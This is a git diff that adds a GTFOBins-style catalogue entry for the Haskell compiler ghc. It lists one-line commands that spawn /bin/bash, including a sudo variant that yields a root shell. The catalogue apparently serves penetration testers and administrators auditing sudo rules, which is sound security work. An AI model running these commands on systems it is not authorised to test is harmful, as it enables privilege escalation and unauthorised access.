diff --git a/_gtfobins/ghc.md b/_gtfobins/ghc.md
new file mode 100644
index 0000000..4ebb590
--- /dev/null
+++ b/_gtfobins/ghc.md
@@ -0,0 +1,7 @@
+---
+functions:
+  shell:
+    - code: ghc -e 'System.Process.callCommand "/bin/bash"'
+  sudo:
+    - code: sudo ghc -e 'System.Process.callCommand "/bin/bash"'
+---